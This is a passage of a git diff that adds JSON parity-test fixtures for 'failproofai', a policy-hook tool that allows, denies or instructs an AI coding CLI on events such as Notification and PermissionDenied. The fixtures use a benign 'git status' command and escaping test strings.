"instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Notification/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/Notification/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..4b743c76 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Notification/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Notification/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/Notification/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..0d0abd68 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Notification/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Notification/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/Notification/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..d3830e4a --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Notification/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Notification/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/Notification/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..8241fe10 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Notification/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Notification/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/Notification/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..eb0b0dda --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Notification/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Notification/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/Notification/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..0089e363 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Notification/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Notification/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/Notification/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a8fd3339 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Notification/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Notification/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/Notification/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..e4059160 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Notification/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Notification/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/Notification/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..8d0e224e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Notification/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Notification/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/Notification/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..676e5d19 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Notification/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Notification/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/Notification/deny__tool-present__one-policy.json new file mode 100644 index 00000000..1cdceb17 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Notification/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Notification/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/Notification/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d0d03cb7 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Notification/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Notification/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/Notification/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..0b30da20 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Notification/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Notification/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/Notification/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..41f3b7fb --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Notification/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Notification/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/Notification/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..3a42cb5f --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Notification/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Notification/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/Notification/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..417e5195 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Notification/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..d496f8c8 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..0f4213f1 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..265e7170 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-silent__tool-present__two-policies.json 